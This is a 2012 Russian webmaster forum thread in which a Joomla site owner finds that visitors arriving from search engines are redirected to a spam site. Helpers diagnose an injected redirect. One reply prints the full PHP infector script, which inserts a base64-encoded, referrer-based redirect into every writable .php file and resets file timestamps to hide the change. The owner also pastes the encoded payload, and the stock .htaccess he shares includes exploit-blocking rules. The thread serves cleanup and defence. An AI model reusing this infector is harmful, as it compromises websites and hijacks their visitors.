Трабл, страницы ведущие из поиска на мой сайт ведут отнюдь не на него

[Удален]

21 ноября 2012, 19:04

3328

Друзья, выручайте! Дело в том, что ссылки на мой сайт из поиска яндекса или гугла ведут не на него, а на какую-то левую подписку по проверке номера авто, все проверил, вроде чисто, не знаю уж и что делать... Пример: вводим в строку поиска(яндекс или гугл) ссылку(сразу уж) с моего сайта: http://xoob.ru/tovari-dlya-deteie/98-dlya-mam/view-all-products.html жмем и попадаем вот сюда: http://bestru2.onedumb.com/ В вебмастере, все норм, напрямую в строку браузера ввожу, все ок, из поиска мэйла тоже работает. Как от этого избавится?????!!!!! Помогите, оч нужно!!!

[Удален]

21 ноября 2012, 19:13

#1

При переходе с Я или Г, у Вас на странице срабатывает редиект через JavaScript. Значит внедрен код. Убирайте его (или откатывайте бекап), меняйте пароли на фтп, ssh и т.д.

[Удален]

21 ноября 2012, 19:17

#2

jobax:
При переходе с Я или Г, у Вас на странице срабатывает редиект через JavaScript. Значит внедрен код. Убирайте его (или откатывайте бекап), меняйте пароли на фтп, ssh и т.д.

Код не нашел, сейчас делаю бэкап, посмотрим к чему это приведет.

D

114

dixon

21 ноября 2012, 19:19

#3

С .htaccess начните поиск.

126

Fabio

21 ноября 2012, 19:20

#4

Sigizmund III:
Код не нашел, сейчас делаю бэкап, посмотрим к чему это приведет.

Приведет к восстановлению нормальной работы, при условии, что бэкап был сделан раньше, чем был внедрен код.

[Удален]

21 ноября 2012, 19:21

#5

dixon:
С .htaccess начните поиск.

С него и начал... Можете глянуть, может чего не досмотрел:

##

# @version $Id: htaccess.txt 14401 2010-01-26 14:10:00Z louis $

# @package Joomla

# @license http://www.gnu.org/copyleft/gpl.html GNU/GPL

# Joomla! is Free Software

##

#####################################################

# READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE

#

# The line just below this section: 'Options +FollowSymLinks' may cause problems

# with some server configurations. It is required for use of mod_rewrite, but may already

# be set by your server administrator in a way that dissallows changing it in

# your .htaccess file. If using it causes your server to error out, comment it out (add # to

# beginning of line), reload your site in your browser and test your sef url's. If they work,

# it has been set by your server administrator and you do not need it set here.

#

#####################################################

## Can be commented out if causes errors, see notes above.

Options +FollowSymLinks

#

# mod_rewrite in use

RewriteEngine On

AddDefaultCharset utf-8

########## Begin - Rewrite rules to block out some common exploits

## If you experience problems on your site block out the operations listed below

## This attempts to block the most common type of exploit `attempts` to Joomla!

#

## Deny access to extension xml files (uncomment out to activate)

#<Files ~ "\.xml$">

#Order allow,deny

#Deny from all

#Satisfy all

#</Files>

## End of deny access to extension xml files

RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]

# Block out any script trying to base64_encode crap to send via URL

RewriteCond %{QUERY_STRING} base64_encode.*$.*$ [OR]

# Block out any script that includes a <script> tag in URL

RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]

# Block out any script trying to set a PHP GLOBALS variable via URL

RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]

# Block out any script trying to modify a _REQUEST variable via URL

RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})

# Send all blocked request to homepage with 403 Forbidden error!

RewriteRule ^(.*)$ index.php [F,L]

#

########## End - Rewrite rules to block out some common exploits

# Uncomment following line if your webserver's URL

# is not directly related to physical file paths.

# Update Your Joomla! Directory (just / for root)

# RewriteBase /

########## Begin - Joomla! core SEF Section

#

RewriteCond %{REQUEST_FILENAME} !-f

RewriteCond %{REQUEST_FILENAME} !-d

RewriteCond %{REQUEST_URI} !^/index.php

RewriteCond %{REQUEST_URI} (/|\.php|\.html|\.htm|\.feed|\.pdf|\.raw|/[^.]*)$ [NC]

RewriteRule (.*) index.php

RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization},L]

#

########## End - Joomla! core SEF Section

Google несколько дней не Google: как оптимизировать изображения Google не приоритизирует сканирование,

126

Fabio

21 ноября 2012, 19:22

#6

dixon:
С .htaccess начните поиск.

Обычно это делается на JS.

[Удален]

21 ноября 2012, 19:23

#7

Fabio:
Обычно это делается на JS.

What is JS?

Понял JavaScript

S

319

semenov

21 ноября 2012, 20:21

#8

Редирект серверный, смотрите index.php

Z

72

zigli

21 ноября 2012, 20:23

#9

У меня была такая же ситуация, код добавляется в каждый .php файл сайта.

вредоносный код в виде "base64" в каждом файле .php

---------- Добавлено 22.11.2012 в 00:25 ----------

И обычно просто так от этого не избавиться, так как на сайт заливается скрипт, который всегда снова и снова добавляет в .php файлы вредоносный код.

---------- Добавлено 22.11.2012 в 00:27 ----------

Ищите что-то на подобие этого на сайте, именно этот скрипт редактирует .php файлы.

<?php
set_time_limit(0);
ignore_user_abort(1);
if(!isset($_SERVER['DOCUMENT_ROOT']))
{ if(isset($_SERVER['SCRIPT_FILENAME'])){
$_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr($_SERVER['SCRIPT_FILENAME'], 0, 0-strlen($_SERVER['PHP_SELF'])));
}; };
if(!isset($_SERVER['DOCUMENT_ROOT']))
{ if(isset($_SERVER['PATH_TRANSLATED'])){
$_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr(str_replace('\\\\', '\\', $_SERVER['PATH_TRANSLATED']), 0, 0-strlen($_SERVER['PHP_SELF'])));
}; };
function dir_path($dir) {
$code='
error_reporting(0);
$nccv=headers_sent();
if (!$nccv){
$referer=$_SERVER[\'HTTP_REFERER\'];
$ua=$_SERVER[\'HTTP_USER_AGENT\'];
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://besttru.qpoe.com/");
exit();
}
}
}';
$dh = opendir($dir);
$path_curent = '';
while (($file = readdir($dh)) !== false)
if ($file != "." and $file != "..")
{
$path = $dir."/".$file;
makechange($path,$code);
if (is_dir($path) && !stristr($path,"cgi-bin"))
{
$path_curent .= "$path";

$path_curent .= dir_path($path);

}
}
closedir($dh);
return $path_curent;
}

function makechange ($path,$code){
if (is_writable($path)) {
if (is_file($path)) {
if (stristr($path,".php") and !stristr($path,"banner") and !stristr($path,"movie") and !stristr($path,"post") and !stristr($path,"img")){
$fo=file_get_contents ($path);
if (!stristr($fo,"base64")) {
$aa=filectime ($path);
$fi=preg_replace("/<\?php/","<?php eval(base64_decode(\"".base64_encode($code)."\"));",$fo);
$fro=fopen($path,"w");
fwrite ($fro,$fi);
fclose ($fro);
@touch ($path,$aa);
$buo=fopen("l","a+");
fwrite ($buo,$path."\n");
fclose($buo);
//echo $path."\n";
}else {
$aa=filectime ($path);
$fi=preg_replace("/eval\(base64_decode\(\"(.*?)\"/","eval(base64_decode(\"".base64_encode($code)."\"",$fo);
$fro=fopen($path,"w");
fwrite ($fro,$fi);
fclose ($fro);
@touch ($path,$aa);
$buo=fopen("c","a+");
fwrite ($buo,$path."\n");
fclose($buo);
//echo $path."\n";
}
}
}
}
}
$docdir=$_SERVER[DOCUMENT_ROOT];
echo $docdir;
$pap=preg_split("/\//",$docdir);
//foreach ($pap as $papp){
for ($i=0;$i<count($pap)-2;$i++){
$updocdir.=$pap[$i]."/";
}
$docdir=$updocdir;
dir_path($docdir);
?>

---------- Добавлено 22.11.2012 в 00:33 ----------

п.с. если это вовремя не устранить, сайт выпадает из выдачи яндекса (проверено очень много раз на собственных сайтах).

п.с.2. если что, пишите утром в лс, помогу разобраться....

Подпись

Безопасный Поиск Яндекса о Яндекс.Бар: набор инструментов для Безопасный поиск Яндекса предупреждает

[Удален]

21 ноября 2012, 20:44

#10

zigli:
У меня была такая же ситуация, код добавляется в каждый .php файл сайта.

вредоносный код в виде "base64" в каждом файле .php

---------- Добавлено 22.11.2012 в 00:25 ----------

И обычно просто так от этого не избавиться, так как на сайт заливается скрипт, который всегда снова и снова добавляет в .php файлы вредоносный код.

---------- Добавлено 22.11.2012 в 00:27 ----------

Ищите что-то на подобие этого на сайте, именно этот скрипт редактирует .php файлы.

---------- Добавлено 22.11.2012 в 00:33 ----------

п.с. если это вовремя не устранить, сайт выпадает из выдачи яндекса (проверено очень много раз на собственных сайтах).

п.с.2. если что, пишите утром в лс, помогу разобраться....

Во всех файлах с .php вот такая бурда:

(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokbmNjdj1oZWFkZXJzX3NlbnQoKTsNCmlmICghJG5jY3Ypew0KJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOw0KJHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewkJDQoJCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9iZXN0cnUyLm9uZWR1bWIuY29tLyIpOw0KCQlleGl0KCk7DQoJfQ0KfQ0KfQ=="));

Абсолютно во всех!!!! Так что, теперь во всех .php удалять это руками??!!!

Как снизить ДРР до 4,38% и повысить продажи с помощью VK Рекламы

Google: E-E-A-T не является фактором ранжирования